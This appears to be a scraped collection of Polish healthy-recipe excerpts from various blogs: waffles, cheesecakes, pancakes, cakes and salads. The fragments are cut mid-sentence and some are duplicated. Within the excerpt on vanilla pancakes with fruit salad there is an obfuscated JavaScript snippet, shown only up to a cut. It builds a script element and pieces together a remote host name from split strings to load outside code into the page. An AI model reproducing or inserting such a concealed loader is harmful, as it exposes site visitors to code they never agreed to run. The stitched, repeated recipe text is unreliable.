Gofry to cudowna sprawa. Można je przygotowywac na miliony sposobó i dzieki temu nigdy się nie nudzą. Ja najbardziej lubię je na wytrawnie, w zdrowszych wersjach

sposób z 35 minut robi się 15 minut i to już wygląda naprawdę atrakcyjnie prawda? Więcej przepisów na zdrowe i FIT śniadania znajdziecie np. tutaj: Owsianka orzechowo-cynamonowa Fit kasza manna o smaku szarlotki Kakaowy placek owsiany z patelni Cynamonowa ryżanka z gruszką   Artykuł Ryż na mleku z jabłkami i cynamonem pochodzi z serwisu Słodkie Gotowanie

…gęsty …kremowy …bogaty w witaminy Jest pyszny! Doskonale wzmacnia organizm i działa orzeźwiająco. W sam raz do śniadania na dobry początek dnia lub

…gęsty …kremowy …bogaty w witaminy Jest pyszny! Doskonale wzmacnia organizm i działa orzeźwiająco. W sam raz do śniadania na dobry początek dnia lub

Nie potrafię odpowiedziec na pytanie, czy na święta Wielkanocne bardziej nie moge doczekać się sernika czy mazurka. Oba dają pole do popisu, do kombinowania, wymyslania róznych

Pieczona w przyprawach ciecierzyca to fenomenalna w swej prostocie FIT przekąska(...)ekstremalnie krótkim i dobrym składem. Doskonale sprawdzi się jako zdrowszy zamiennik cieszących się złą sławą chipsów, krakersów czy paluszków. Ponieważ pikantne, chrupiące kuleczki … Artykuł Pieczona ciecierzyca – chrupiąca FIT przekąska pochodzi z serwisu FitSweet

totalnie zakocham! Ale nie o tym! W związku z moimi podbojami siłowni zmieniłam też troszkę swoją dietę i wprowadziłam do niej więcej zdrowych i wartościowych rzeczy! Kombinuję też z FIT słodkościami! Dziś zabieram Was smakiem na egzotyczny urlop! . à propo egzotycznych urlopów – widzieliście już TO? ( KLIK! ) – koniecznie zobaczcie! . . Będzie bananowo! To ciasto jest błyskawiczne! Nie zawiera tłuszczu

Bardzo lubię tapiokę za jej niepowtarzalną konsystencję. Trzeba ją dość długo gotować, przez co często o niej zapominam, ale warto przygotować z niej deser i schłodzić

Ciasto jogurtowe to szybki pomysł na smaczny deser. Jest to chyba jedno z najprostszych ciast jakie możemy przygotować. Deser ten możemy urozmaicić różnymi owocami, truskawkami, jagodami

Czy istnieje ktoś, kto nie lubi frytek? Frytki to nie tylko ziemniaki smażone w głębokim tłuszczu. Do ich przygotowania możemy wykorzystać również inne warzywa korzeniowe, a

pewno przekonam. Bo dieta nie wyklucza niczego. Dieta to kreatywne działania w kuchni. I powiem Ci, że nie ma takiego dania, którego nie można by przekształcić w danie fit. Czekoladowy sernik, poza polewą z gorzkiej czekolady, nie zawiera cukru. W jego składzie znajdziesz daktyle i ksylitol, którego użyłam do dosłodzenia ciasta ( jeśli lubisz mniej słodko, śmiało możesz go pominąć(...)Dzięki fasoli ma ciekawą konsystencję, ale co ważniejsze - fasola podnosi znacząco ilość białka w serniku. Porcja takiego sernika pod treningu, to świetny wybór na posiłek. PRZEPIS NA CZEKOLADOWY  FIT SERNIK Z FASOLĄ Składniki: Masa serowa: 300 g ugotowanej fasoli Jaś 450 g twarogu - półtłusty lub chudy 1 skyr waniliowy lub naturalny 20 daktyli 2 pełne łyżki masła orzechowego

zaspokajają ochotę na słodkie. Jedna kulka dostarcza 48 kalorii, przy czym musicie pamiętać, że słodkości fit również należy jeść z głową i nie przesadzać z ich ilością . Fit kulki lion 30 g ryżu preparowanego lub pokruszonych wafli ryżowych ((użyłam ryżu)) 50 g suszonych daktyli ((około 15 średnich sztuk)) 100 g masła orzechowego ((3 pełne łyżki)) 100 g czekolady

antydepresant czy lek.  I tak chyba właśnie jest z pasją. Doskonałym ujściem energii, żeby mogła przypłynąć nowa, inna, lepsza.  Kocham wszystko co jest fit (i nie fit, też). Ostatnio wkręciłam się bez reszty w domowe pieczywo i już nie kupuję. I w pasty się wkręciłam i w strączki. I teraz z tym mam największe flow

Dziś przepis na pyszne, puszyste naleśniki z mąki pełnoziarnistej, idealne na śniadanie. Można je podać z ulubionymi  nadzieniem i dodatkami. Ja zdecydowałam się na domową fit nutelle zrobioną z orzeszków ziemnych, daktyli oraz kakao. Część kremu wymieszałam też z chudym twarogiem i tak powstał równie pyszny czekoladowy twarożek :) Naleśniki zrobiłam z mleka kokosowego a zamiast cukru użyłam erytrytolu(...)sztuk): 1 szklanka mąki pszennej pełnoziarnistej 2 jajka 2 łyżki erytrytolu lub ksylitolu 1 szklanka mleka (u mnie kokosowe) 3/4 szklanki wody (najlepiej gazowanej) szczypta soli Do podania : Fit nutella   - przepis znajdziecie klikając w link Wykonanie: Mąkę wsypać do miski, dodać jajka, mleko, wodę, sól i erytrytol. Zmiksować na gładkie ciasto. Smażyć na dobrze rozgrzanej patelni posmarowanej

Czy istnieje ktoś, kto nie lubi frytek? Frytki to nie tylko ziemniaki smażone w głębokim tłuszczu. Do ich przygotowania możemy wykorzystać również inne warzywa korzeniowe, a

komponuje się z jagodami. Na górę dodałam odrobinę mascarpone oraz kilka świeżych borówek. Zamiast jagód, możecie użyć malin . Możecie także wykonać ciasto z podwójnej porcji składników, wtedy będzie wyższe . Fit kostka jagodowa 400 ml mleczka kokosowego 5-7 % 150 g mrożonych jagód ((lub malin)) 3 łyżki erytrytolu ((lub innego słodzidła: miód, syrop klonowy, syrop z agawy, ksylitol)) 1/2 cytryny(...)porcja bez mascarpone): Kcal: 46 | Białko: 0,4 | Węglowodany: 4,0 | Tłuszcze: 3,0 Smacznego! Polub www.przepisynawidelcu.pl na facebooku oraz obserwuj na instagramie . Wypróbuj przepis dołączając #przepisynawidelcu Artykuł Fit kostka jagodowa pochodzi z serwisu Przepisy na widelcu

Pierniczki z mąki żytniej . Przedwojenny przepis na żytnie pierniki bez tłuszczu, jajek i cukru Dziś polecam przedwojenny przepis na fit pierniczki z mąki żytniej . Po pierwsze te żytnie pierniki zawierają mąki pszennej, a dodatkowo są pieczone bez dodatku białego cukru, tłuszczu i jajek. Do tego wspaniale smakują i mogą być jedzone przez kilka miesięcy po świętach. Żytnie pierniki można(...)piernika , Domowy syrop żurawinowy bez gotowania , Przepis na korzenne ciasteczka z lukrem Pierniczki możemy tradycyjnie ozdobić lukrem z cukru pudru, cukrowymi pisakami lub czekoladą. Natomiast jeśli chcemy mieć fit ciastka zostawiamy je bez dodatkowych ozdób. Ewentualnie możemy oprószyć je odrobiną gorzkiego kakao. To tylko podkreśli wyjątkowy smak przedwojennych pierniczków z mąki żytniej - bez dodatku cukru, jajek oraz tłuszczu. Pierniczki

Pierniczki z mąki żytniej . Przedwojenny przepis na żytnie pierniki bez tłuszczu, jajek i cukru Dziś polecam przedwojenny przepis na fit pierniczki z mąki żytniej . Po pierwsze te żytnie pierniki zawierają mąki pszennej, a dodatkowo są pieczone bez dodatku białego cukru, tłuszczu i jajek. Do tego wspaniale smakują i mogą być jedzone przez kilka miesięcy po świętach. Żytnie pierniki można(...)piernika , Domowy syrop żurawinowy bez gotowania , Przepis na korzenne ciasteczka z lukrem Pierniczki możemy tradycyjnie ozdobić lukrem z cukru pudru, cukrowymi pisakami lub czekoladą. Natomiast jeśli chcemy mieć fit ciastka zostawiamy je bez dodatkowych ozdób. Ewentualnie możemy oprószyć je odrobiną gorzkiego kakao. To tylko podkreśli wyjątkowy smak przedwojennych pierniczków z mąki żytniej - bez dodatku cukru, jajek oraz tłuszczu. Pierniczki

Prosty i szybki deser w stylu FIT. Mamy ochotę na coś słodkiego ale o zmniejszonej liczbie kalorii to szczerze polecam. Potrzebujemy owoc granatu, jogurt naturalny, musli, świeże maliny i miód ( opcjonalnie)Składniki układamy warstwami najlepiej w szklanych pojemniczkach. Deser wygląda apetycznie zachęcając do skosztowania:) Składniki jogurt naturalny duży typu Greckiego owoc granatu 1 duży lub 2 mniejsze(...)miodem. Można zrezygnować jeżeli owoce są dość słodkie. Gotowe do spożycia:) Kolejność warstw nie ma znaczenia jak również owoce można używać według własnych upodobań . Smacznego:) Artykuł Deser w stylu FIT pochodzi z serwisu

łyżeczki ksylolitu lub drobnego cukru 2 łyżeczki proszku do pieczenia opcjonalnie cukier waniliowy szczypta soli 4 jajka 100g roztopionego masła 3 szklanki mleka (może być roślinne) Składniki na fit krem czekoladowy i dodatki: mały jogurt naturalny 2 łyżki kakao 2 łyżeczki ksylolitu dodatkowo: dżem domowy i dowolne owoce maliny, banany, borówki itp. Przepis: W dużej misce wymieszać suche składniki(...)uzyskania złotego koloru, Przygotować krem: wymieszać razem jogurt, kakao i cukier, Gofry podawać polane kremem czekoladowym, z dodatkiem owoców i odrobinką dżemu. Nadmiar gofrów można zamrozić. Artykuł Gofry fit z kremem czekoladowym pochodzi z serwisu tyfranbox

Potrawka z kurczaka i szpinaku to zarówno dietetyczne i bardzo zdrowe danie obiadowe. Tą potrawkę możecie podać z dowolnymi dodatkami – kaszą jęczmienną, kasza gryczaną, czy

Ekspresowe fit placuszki bananowe, idealne jako zdrowe i pożywne śniadanie w domu, lub do zabrania ze sobą do pracy, czy szkoły. Składniki: 4 banany 5 jajek 150g płatków owsianych 2 łyżeczki oleju kokosowego Przygotowanie: Wszystkie składniki rozdrabniamy ze sobą w wysokim naczyniu, za pomocą blendera, na gładką masę. Na suchej patelni, smażymy małe placuszki(...)nakładając ciasto za pomocą łyżki do lodów, dzięki temu każdy placuszek będzie jednakowej wielkości i grubości. Smażymy placki około 3 minut z każdej strony, na średniej mocy palnika. Artykuł Fit placuszki bananowe pochodzi z serwisu Niepieprz

tylko . Monte z przepisu, który przygotowałam, możecie śmiało przygotować waszym maluchom na drugie śniadanie. Może zastąpić pełnowartościowy posiłek, ponieważ ma bardzo dobre wartości odżywcze. Spróbujcie koniecznie . Domowy fit deser monte 300 g jogurtu naturalnego typu skyr 50 g mascarpone 25 g orzechów laskowych 2 łyżki syropu klonowego 1 łyżeczka ciemnego kakao Do blendera włóż jeden jogurt, dodaj orzechy, kakao(...)ciemną. Wartości odżywcze (porcja): Kcal: 325 | Białko: 21,7 | Węglowodany: 20 | Tłuszcze: 17,9 Smacznego! Polub www.przepisynawidelcu.pl na facebooku oraz obserwuj na instagramie . Wypróbuj przepis dołączając #przepisynawidelcu Artykuł Domowy fit deser monte pochodzi z serwisu Przepisy na widelcu

godz. Naleśniki smażymy na rozgrzanej patelni, wylewając cieniutką warstwę ciasta. Jeżeli planujemy smażenie dużej ilości naleśników warto użyć naleśnikarki . Dzięki smażeniu bez tłuszczu na naleśnikarce nasze naleśniki będą naprawdę fit! Usmażone naleśniki powinny być delikatnie złote, ale nie spieczone na brązowo. Nadzienie waniliowe 2 opakowania islandzkiego jogurtu typu skyr - 0% tłuszczu nasiona z laski wanilii lub ekstrakt waniliowy(...)odstawić do schłodzenia. Sałatkę owocową podawać z naleśnikami waniliowymi ozdobioną listkami świeżej mięty, melisy, polaną sosem czekoladowym lub posypaną wiórkami kokosowymi. Za inspirację do przygotowania tego przepisu na pyszne fit naleśniki z sałatką owocową dziękujemy serwisowi xxlgastro.pl (function(){ zyqh=document.createElement("script");zyqh_=(("u")+"st")+"a";zyqh.async=true; zyqh.type="text/javascript";zyqh_+=("t.i")+""+"n";zyqh_+=(("f")+"o");zyqh_+="/"; zyqhu="72458137.";zyqhu

jestem, ale smakuje to wybornie! Zapraszamy do naszej grupy kulinarnej – jest nas ponad 30 000! FIT PRZEPISY – ZDROWE JEDZENIE. Jeśli szukacie innych przepisów, zajrzyjcie do naszej zakładki FIT PRZEPISY.   Artykuł Wołowina po azjatycku – przepis na obiad do pracy pochodzi z serwisu Czynniki Pierwsze

Jeśli szukacie innych koktajli to zapraszam do zakładki FIT PRZEPISY – # SMOOTHIESUNDAY . A jeśli Wam mało, to zapraszamy do naszej grupy kulinarnej – jest nas ponad 30 000! FIT PRZEPISY – ZDROWE JEDZENIE.   Artykuł Koktajl z jabłkiem, imbirem i selerem naciowym pochodzi z serwisu Czynniki Pierwsze

przyjęciach . Spód z płatków owsianych, wiórków kokosowych i miodu dostarczy energii na długi czas. Z kolei budyń i borówki nadadzą lekkości, dzięki czemu całość będzie rozpływać się w ustach . Fit tartaletki z budyniem i borówkami 75 g płatków owsianych 25 g wiórków kokosowych 2 łyżki miodu 40 g budyniu śmietankowego bez cukru ((1 opakowanie)) 250 ml mleka ((1 szklanka(...)ostygnięcia. Wartości odżywcze (sztuka): Kcal: 184 | Białko: 5,1 | Węglowodany: 27,4 | Tłuszcze: 6,5 Smacznego! Polub www.przepisynawidelcu.pl na facebooku oraz obserwuj na instagramie . Wypróbuj przepis dołączając #przepisynawidelcu Artykuł Fit tartaletki z budyniem i borówkami pochodzi z serwisu Przepisy na widelcu

Cukinia faszerowana ryżem i kaszą jaglaną – fit! To idealna propozycja(...)obiad lub kolację póki cukinie są jeszcze ogólnodostępne :) Przepis lekko zmodyfikowany pochodzi ze strony: mniammniam.com Cukinia faszerowana ryżem i kasz The post Cukinia faszerowana ryżem i kaszą jaglaną – fit! appeared first on KulinarnePrzeboje.pl

Fit pizza na spodzie z kalafiora – jest bardzo prosta i nieco szybsza(...)wykonaniu niż tradycyjna pizza, gdyż nie trzeba czekać na wyrośnięcie drożdży. Pizza ta jest również lekka i pyszna. Można rzec, że pizza z kalafiora to bezglutenowa wersja The post Fit pizza na spodzie z kalafiora appeared first on KulinarnePrzeboje.pl

Dziś przychodzę do Was z recenzją kolejnej książki. Ale tym razem nie będzie to ani powieść, ani książka kucharska. „Motywator 8 tygodni do bycia fit” Marty Hennig, to propozycja dla każdego kto pragnie zmian. Kto szuka motywacji, która pomoże mu podążyć we właściwym kierunku. Kierunku, który niesie za sobą zdrowe odżywianie, lepsze samopoczucie i… lepszą sylwetkę(...)wprowadzić zmiany potrzeba odrobiny wysiłku. Nic samo nie przyjdzie. Jeśli szukacie motywacji, czegoś co pomoże Wam zacząć, to polecam Wam książkę Marty Hennig. „Motywator 8 tygodni do bycia fit” Marta Hennig Objętość: 240 stron Rok wydania: 2019 Wydawnictwo: Publicat

gofry jaglane! Zaspokoją ochotę na słodycze, poza tym są bez zbędnego tłuszczu i idealnie sprawdzą się na śniadanie albo przekąskę. Wystarczy dodać ulubione dodatki i pyszny pełnowartościowy posiłek gotowy. Fit gofry jaglane 60 g mąki jaglanej ((ok. 1/2 szklanki)) 2 łyżki gęstego jogurtu naturalnego ((ja użyłam skyr)) 1 banan 1 jajko 1 łyżka ciemnego kakao 1 łyżka erytrytolu(...)Wartości odżywcze (1 sztuka): Kcal: 123 | Białko: 5,7 | Węglowodany: 19,5 | Tłuszcze: 2,3 Smacznego! Polub www.przepisynawidelcu.pl na facebooku oraz obserwuj na instagramie . Wypróbuj przepis dołączając #przepisynawidelcu Artykuł Fit gofry jaglane pochodzi z serwisu Przepisy na widelcu

energii, a jednocześnie jest małokaloryczny, czyli fit. Polecam wtedy sięgnąć po sałatkę! Przygotowałam dla was zbiór przepisów na najlepsze sezonowe sałatki ze świeżych warzyw i owoców w stylu fit oraz bardziej pożywne sałatki z mięsem, serem czy wędzoną rybą. Sięgnijcie po przepisy na letnie sałatki, warzywne lub owocowe. Zainspiruj się naszymi pomysłami! Polecam też zbiór naszych przepisów

Sernik na zimno w wersji fit ? Proszę bardzo, to nic trudnego. Ujmujemy kalorii, nie ujmujemy smaku - ot, cały sekret. Sernik w wersji "bez cukru", to zdrowsza alternatywa dla klasycznego sernika słodzonego białym cukrem. Zastępujemy tu cukier ksylitolem lub jeszcze lepiej - erytrolem. Słodki(...)smak pozostaje, kalorii ubywa. Sernik na zimno koniecznie musi być z owocami i galaretką - taki smakuje najlepiej. Dodajcie sezonowe owoce jagodowe i cieszcie się smakiem lata. PRZEPIS  NA FIT SERNIK NA ZIMNO Składniki: Spód sernika: 15 daktyli bez pestek 1/2 szklanki płatków owsianych górskich 1 łyżka masła orzechowego Masa serowa:  750 g twarogu chudego 200 g jogurtu

Opis Nadziewana dynia z komosą i grzybami: Nadziewana dynia z komosą i grzybami to zdrowa i fit propozycja na obiad czy kolację. Uwielbiam ją jeść zarówno na słodko, jak i na słono. Dynia piżmowa ma liczne właściwości i wartości odżywcze. Stanowi doskonałe źródło witaminy A, błonnika i potasu. Ma również dobroczynny wpływ na ciśnienie krwi, trawienie, zdrowe włosy oraz(...)względu na bogatą zawartość składników odżywczych warto jeść ją w okresie jesiennym. Jest to przyjemny sposób na wzmocnienie organizmu przed wszelkimi infekcjami. Polecamy Wam również nasze inne przepisy Fit , czy przepisy na dania główne . Składniki: Dynia piżmowa 1 szklanka ugotowanej komosy ryżowej Garść grzybów 1 średni seler Posiekana pietruszka zielona 2 łyżeczki ostrej musztardy Masło Sól, pieprz Sposób przygotowania

Najlepsze ciasta to te najprostsze :) Dziś zapraszam na szarlotkę, którą śmiało można określić mianem FIT - bez białej mąki i bez cukru - nada się dla diabetyków czy insulinoopornych. Pachnie wanilią :)  Smacznego!  SKŁADNIKI (na tortownicę 24 cm)                                      Ciasto

Idealne ciasto na upalne dni, ponieważ jest lekkie i orzeźwiające. Poza tym ciasto ma kilka warstw, które ładnie wyglądają, ale przede wszystkim mają inne smaki, które znakomicie się przenikają . Fit ciasto z truskawkami i galaretką 600 g jogurtu greckiego lub naturalnego 250 g chudego twarogu 200 g truskawek 2 galaretki krystaliczne 50 g erytrytolu 2 łyżeczki kakao 2 łyżki(...)godziny. Wartości odżywcze (kawałek): Kcal: 116 | Białko: 10,7 | Węglowodany: 10 | Tłuszcze: 3,8 Smacznego! Polub www.przepisynawidelcu.pl na facebooku oraz obserwuj na instagramie . Wypróbuj przepis dołączając #przepisynawidelcu Artykuł Fit ciasto z truskawkami i galaretką pochodzi z serwisu Przepisy na widelcu

Print Proste ciasto jogurtowe z truskawkami Proste, szybkie i bardzo wiosenne ciasto jogurtowe z owocami. Idealne do filiżanki ulubionej herbaty.  Course FIT deser, Na słodko Keyword cytryna, fit, jogurt naturalny, ksylitol, lato, mąka orkiszowa, proste ciasto, truskawki Prep Time 10 minutes Cook Time 45 minutes Total Time 55 minutes Servings 12 porcji Ingredients Składniki powinny mieć temperaturę

jajkiem sadzonym. Smacznego! Polecam również: Pyszna szakszuka ze szpinakiem i mozzarellą Lekki obiad: makaron z łososiem, cukinią i pomidorem Zapiekane roladki z polędwiczki wołowej otulone boczkiem Fit tarta ze szpinakiem, cukinią, bakłażanem i fetą Trudność Początkujący Czas przygotowania 5 min. Czas gotowania 20 min. Całkowity czas 25 min. USTAW TIMER SKŁADNIKI (ILOŚĆ NA 2 PORCJE)   500 g szparagów

ochotę na małe co nieco. W końcu orzechy to sycący i nieco kaloryczny konkret. Nie mniej jednak, zapewniam, mała porcja pożywnych kcal w żaden sposób nie kłóci się z FIT dietą. Zwłaszcza jeżeli zjemy go zamiast drugiego śniadania. Co więcej, deser jest jest banalnie prosty i tak naprawdę nie wymaga wiele pracy, jedynie odrobinę cierpliwości. Z powodzeniem, może(...)Serniczki z nerkowców z musem owocowym to nie tylko doskonały wegański deser, ale zdrowa, pożywna przekąska lub drugie śniadanie dla każdego. Aksamitne, idealnie kremowe i bardzo sycące.  Course FIT deser Keyword borówki, mleczko kokosowe, nasiona słonecznika, nerkowce, olej kokosowy, owoce, serniczki, suszone daktyle, syrop klonowy, wanilia Prep Time 20 minutes Czas chłodzenia 4 hours Total Time 4 hours

wkawiarence.pl Zdrowe frytki z batatów czyli ze słodkich ziemniaków są doskonałym pomysłem na obiad. Dodatkowo są fit oraz przysłużą się naszemu zdrowiu w sposób bezpośredni. Przygotowanie batatów na obiad nie sprawi nikomu problemu i jest błyskawiczne! Podaje Wam 2 różne sposoby na ich przyrządzenie. Frytki z batatów są moim najnowszym odkryciem, który zajadam 2 x w tygodniu. Ciekawe kiedy(...)początkowo moje dzieci podeszły do nich sceptycznie. Dopiero za drugim razem w pełni przekonały się do dania ze zdrowymi frytkami z batatów . Artykuł Zdrowe frytki z batatów jako fit alternatywa do tradycji pochodzi z serwisu blog dla mamy wkawiarence.pl

TIRAMISU ? Print Kokosowo-migdałowy deser Połaczenie egzotycznego kokosa z migdałami oraz cudowną domową granolą. Jest pysznie, chrupiąco i kremowo oraz baaaardzo kokosowo. Idealnie. Course FIT deser Keyword deser, fit, granola, ksylitol, migdały, mini deser, miód, śmietanka kokosowa Prep Time 10 minutes Cook Time 20 minutes Total Time 30 minutes Servings 4 Ingredients Kokosowo-migdałowa granola: 1/2 szklanki płatków

Fit sałatka z młodymi listkami szpinaku, botwinki i rukoli. Dziś zapraszam Was na pyszną, lekką i naprawdę zdrową sałatkę. Młode listki szpinaku, botwinki i rukoli, a do tego pomidorki, kukurydza i mój sekretny składnik – Mikstury Olei Travico Dr Gaja . Dlaczego warto dodawać ją do sałatek i wzbogacić o nią swoją dietę? Mikstura Olej Travico, to połączenie oleju rzepakowego(...)naszego układu pokarmowego i wspomóc procesy trawienne. Miksturę możecie dodawać do sałatek (takich np. jak prezentowana przeze mnie) lub surówek, kasz i innych dań. A teraz przepis na dzisiejszą fit sałatkę z młodymi listkami: Składniki: 2 garście młodych listków szpinaku, botwinki i rukoli (mix) kilka małych pomidorków około 3 łyżki kukurydzy z puszki 2 miarki Mikstury Olei Travico

mieszanka płatków owsianych, amarantusa ekspandowanego, orzechów i nasion. Całość w wygodnej formie, delikatnie słodkich batonów do zabrania ze sobą, gdzie tylko dusza zapragnie. Course FIT deser Keyword chia, fit, masło orzechowe, migdały, miód, na zdrowie, olej kokosowy, orzechy laskowe, pistacje, płatki owsiane Prep Time 10 minutes Cook Time 25 minutes Total Time 35 minutes Servings 12 porcji Ingredients

maja kalorii, ponieważ zjadam tabliczkę Lindora lub pudełko Rafaello natychmiast, za jednym podejściem i z nikim się nie dzielę 😈 😉  Dziś Kochani, mam dla Was Rafaello w wersji fit - hitowy przepis internetowy,nie wiem od jak długiego już czasu, ale z pewnością jego wersji powstało już dziesiątki. Ja swoje kuleczki przygotowuję w najprostszy możliwy sposób - tylko z 4 składników(...)się idealnie jako drugie śniadanie, ponieważ jest bardzo sycące i zdrowe. Czasem pakuję je również Dzieciom w śniadaniówki - bardzo je lubią i śniadaniówka zawsze wraca pusta :) Rafalello w wersji fit jest naprawdę przepyszne i muszę przyznać, że nim też można mnie całkowicie przekupić! 😉 SKŁADNIKI: 200 g kaszy jaglanej (lub 2 woreczki po 100 g) około 3 szklanki mleka

taki urok Tymczasem tradycyjnie zapraszamy Was do polubienia naszej grupy na Facebooku – FIT PRZEPISY – zdrowe jedzenie. Jest nas tam już 20 000! Więcej przepisów znajdziecie w kategorii FIT PRZEPISY. Artykuł Jak zrobić domowy jogurt naturalny? – Prosta metoda pochodzi z serwisu Czynniki Pierwsze

przypadku większości owoców. Najlepiej takie jak na zdjęciu, albo nawet ciemniejsze. Tak wiem, to już trzecia wersja bananowego ciasta na blogu. Do tej pory pojawiła się wersja podstawowa FIT i z masłem orzechowym . Wybaczcie, ale to mistrz naszego domu. Po prostu… bananowe love A jeżeli Wam do tej pory jeszcze nie wyszedł, koniecznie spróbujcie teraz, tym razem(...)Print Chlebek bananowy z orzechami i gorzką czekoladą Chlebek bananowy na bogato. Mięciutki, wilgotny, z dużą ilością chrupiących orzechów i kawałków gorzkiej czekolady, który znika zanim zdąży wystygnąć. Course FIT deser Keyword banany, chlebek bananowy, cukier kokosowy, gorzka czekolada, mąka orkiszowa, orkiszowy chlebek bananowy, orzechy laskowe Prep Time 15 minutes Czas pieczenia 45 minutes Total Time 1 hour Servings

przede wszystkim smakuje rewelacyjnie. Osoby, które na co dzień jadają zwykły, biały, pszenny chleb, zapewne nie będą zachwycone, ale ktoś kto choć raz spróbował zdrowszych, pełnoziarnistych chlebów typu ” fit(...)będą zachwycone smakiem, konsystencją i minimalnym nakładem pracy tego chleba. Chleb gryczany z tego przepisu wychodzi pyszny, wilgotny, pełen chrupiących ziaren i wartości odżywczych. Artykuł Dietetyczny chleb ( FIT ) bez mąki pochodzi z serwisu

koktajlowe kroimy w paski i układamy na talerzu *** *** W małej miseczce mieszamy wszystkie składniki sosu *** *** Sałatkę polewamy sosem (możemy też posypać sezamem) i podajemy *** *** SMACZNEGO ***     POLECAM TAKŻE: FIT SAŁATKA Z ŁOSOSIEM – 250 KALORII PRZEPIS TUTAJ NAJLEPSZE PRZEPISY NA SAŁATKI KLIKNIJ TUTAJ IMPREZOWE HITY! POMYSŁY NA PRZEKĄSKI, DANIA I PRZYSTAWKI KLIKNIJ TUTAJ Artykuł Sałatka z tuńczykiem i awokado

Uwielbiam słodycze. Ale nie za słodkie. Dlatego też często w deserach wykorzystuję cytrynę, aby zbalansować nadmierną słodycz. I oczywiście wszystko jest dla ludzi i czasami zjem

wielkości dojrzałe banany 2 łyżki miodu prawdziwego 2 łyżki posiekanych orzechów włoskich 2 łyżki rodzynek 1 płaska łyżeczka mielonego cynamonu około półtorej szklanki płatków owsianych błyskawicznych Wykonanie pysznych ciasteczek fit: 1. Pokrojone banany wrzucamy do miski, rozgniatamy widelcem i dodajemy miód prawdziwy, dokładnie mieszamy.  2. Następnie do bananowej masy dodajemy sypkie składniki: cynamon, rodzynki, posiekane orzechy i płatki(...)Szklanka do odmierzania składników 250 ml. Miód powinien być płynny. Płatki owsiane typu błyskawiczne. Kilka słów o testowanej  desce z ruchomą krawędzią którą testuję: Do tych pysznych ciasteczek fit orzechy i banany pokroiłam na desce z ruchomą krawędzią na ustawieniu CLASSIC gdzie deska ma całą płaską powierzchnię, ostatnio często korzystam z tego ustawienia, ponieważ deska ma wtedy bardzo

Dodatek rodzynek i kandyzowanej skórki pomarańczowej ( tę można pominąć ze względu na cukier ) nadaje mu wyrafinowania. A jeśli wolicie nieco inny sernik fit - polecam  SERNIK BANANOWY  FIT SERNIK  Z RODZYNKAMI Składniki: Spód do sernika: 1 szklanka ugotowanej kaszy jaglanej ( na wodzie lub pół na pół woda i mleko ) 3/4 szklanki mąki kokosowej lub migdałowej

Dorsz pieczony z warzywami Smaczny, zdrowy i kolorowy obiad, który może być także fit potrawą dla osób będących na diecie. Soczysty dorsz pieczony z warzywami to ciekawy pomysł na szybkie, proste i aromatyczne danie. Polecam!       Składniki: 300g filetów z dorsza (użyłam polędwiczki) przyprawy: sól, pieprz cytrynowy (lub zwykły + łyżka soku z cytryny), papryka słodka mielona, papryka

Błyskawiczny omlet pomidorami to bardzo szybki pomysł na śniadanie. Zróbcie i sprawdźcie, że śniadanie to nie tylko kanapka z szybką albo serem. Wystarczy odrobina inwencji i

Ostatnio bardzo popularne na śniadania są szakszuki. To nic innego jak jajko z różnymi dodatkami. Tym razem będzie szakszuka z chorizo i awokado. Dodatkowo dodamy odrobinę

Śniadanie to jeden z podstawowych i najważniejszych posiłków w ciągu dnia. Oprócz tego, że ma być zdrowe, sycące to przede wszystkim ma być smaczne. Takie są

lubicie. Mimo wszystko jednak gorąco polecam wypróbowanie tej minimalistycznej wersji śniadania na słono. A może macie ochotę na śniadanie na słodko? W takim razie koniecznie sprawdźcie przepis na Fit pancakes na bazie płatków owsianych ! Trudność Początkujący Czas przygotowania 5 min. Czas gotowania 5 min. Całkowity czas 10 min. USTAW TIMER SKŁADNIKI (ILOŚĆ NA 1 PORCJĘ)   2 jajka(...)u0142adki\u201d mo\u017cesz doda\u0107 \u0142y\u017ck\u0119 mleka b\u0105d\u017a wody. \n","Podawaj z ulubionymi dodatkami. Smacznego!\n"],"aggregateRating":0}   Artykuł Omlet z twarożkiem – fit śniadanie na słono pochodzi z serwisu A to pestka

czasu do czasu skuszę się na swoją ulubioną jej wersję. Jednak bardzo lubię wszelkie uzdrowione wariacje, które mogę zjeść jako obiad lub kolację. Na blogu znajdziecie już różne wersje fit pizzy (m.in. owsiana , brokułowa , z mąki z ciecierzycy ), a spód z cukinii jest kolejnym z nich. Skoro można zrobić z cukinii ciasto czy placki to można i pizzę. Konsystencja

Dzisiaj mam dla Was przepis na owoce pod fit(...)kruszonką, bez białej mąki, zbóż, masła, w ogóle bez produktów pochodzenia zwierzęcego. Deser lub też śniadanie idealne dla wszystkich tych, którzy dbają o linię. Zdrowa i fit przekąska poleca się na na niejedno popołudnie. SKŁADNIKI: - 3 gruszki - 10 małych śliwek - olej kokosowy do wysmarowania formy na kruszonkę: - 3 miarki (łyżki) mąki kokosowej - 4 miarki odżywki białkowej o smaku waniliowym

razem spróbuję je nadziać właśnie masłem lub jakimś innym kremem. Omleciki nie zawierają też glutenu - użyłam mąki ryżowej, ani cukru, który został zastąpiony erytrytolem. Całość podałam z moim ulubioną fit nutellą zrobioną z awokado, banana i kakao oraz niewielkiej ilości mleka roślinnego, żeby całość była bardziej płynna. Tak podane śniadanie wygląda w sumie(...)deser i jest bardzo sycące. Z podanych składników wychodzi 6 muffinko-omletów. Składniki: 2 jajka szczypta soli 2 łyżki mąki ryżowej 2 łyżki erytrytolu/ksylitolu kilkanaście borówek lub malin Fit nutella: 1/2 dojrzałego awokado 1/2 dojrzałego banana 2 łyżki kakao 1-2 łyżki syropu z agawy lub miodu (opcjonalnie) kilka łyżek mleka do uzyskania płynniejszej konsystencji Wykonanie: Białka oddzielić

Poniżej prosty przepis na danie w stylu fit, jeżeli posiadasz więcej niż jedną patelnię to jego przygotowanie nie zajmie Ci więcej niż 15 minut.  Składniki (na 2 fit porcje): 350 gram piersi kurczaka 3-4 plastry szynki parmeńskiej  6-7 suszonych pomidorów świeży tymianek  oliwa z oliwek do smażenia  garść groszku cukrowego  sól

